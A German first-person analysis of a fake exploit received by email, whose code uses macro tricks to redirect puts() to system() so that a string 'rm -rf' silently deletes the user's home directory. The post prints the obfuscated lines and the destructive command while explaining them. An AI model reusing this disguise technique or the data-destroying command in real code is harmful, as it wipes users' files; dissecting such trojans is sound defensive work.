Ich mache mich also an die Arbeit, speichere das Mail und extrahiere den Code, doch das Telefon klingelt. Zwanzig Minuten später, wieder an der Arbeit, weiss ich nicht mehr genau wo ich war, also lese ich das Mail mit dem Code nochmals. Beim überfliegen des Codes fallen mir Zeilen auf, die ich noch nie in ähnlicher Form gesehen habe.
sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 &0xff);
Was soll das puts da? Ich werde neugierig und nehme den Code auseinander.
//#define POTS 12 /* fill these in for your
#define DEF_ALGN 1 * target system
//#define HEAP_ADDR 0x41414141 */
#define target (unsigned long)
Komisches Konstrukt auf den ersten Blick, doch spielt man Pre Processor im Kopf werden aus den 4 Zeilen plötzlich nur noch eine. Denn Zeile 1 und 3 sind Kommentare und target ist auch ein Makro.
#define DEF_ALGN 1 * (unsigned long) system
unsigned long align = DEF_ALGN;
Mit system ist die ANSI C Funktion system() gemeint, daher enthält die Variable align nun die Adresse der Funktion system().
/* position of the string */
for(i = 0; i < 4; i++)
sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);
/* function var position */
pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
/* set the function var accordingly */
*(unsigned long *)pots = align;
Die ersten fünf Zeilen sind eigentlich nur dazu da um die Adresse der Funktion puts() der Variable pots zuzuweisen. Soweit nicht schlimm, wenn auch völlig ohne Zusammenhang in einem solchen Exploit.
Nun das entscheidend, der Speicherstelle auf die pots zeigt, immer noch die Funktion puts(), wird mit dem Wert aus align überschrieben. Das heisst, wenn wir puts() aufrufen wird eigentlich system() aufgerufen.
Wenn wir nun die puts() Aufrufe anschauen
puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~");
Der erste ist noch harmlos, doch der zweite löscht $HOME. Wenn man bedenkt dass bei einigen Unices $HOME bei root auf / zeigt.
Dem Autor sind jedoch auch kleine Fehler unterlaufen, der Backslash auf der ersten puts() Zeile ist eher verräterisch, da er den Double Quote quoted und dadurch das Programm nicht kompiliert.
Jedenfalls hat mir das Telefon den Frust in Spass umgewandelt, denn solche Zeilen C Code, wenn auch destruktiv, machen einfach Spass.
|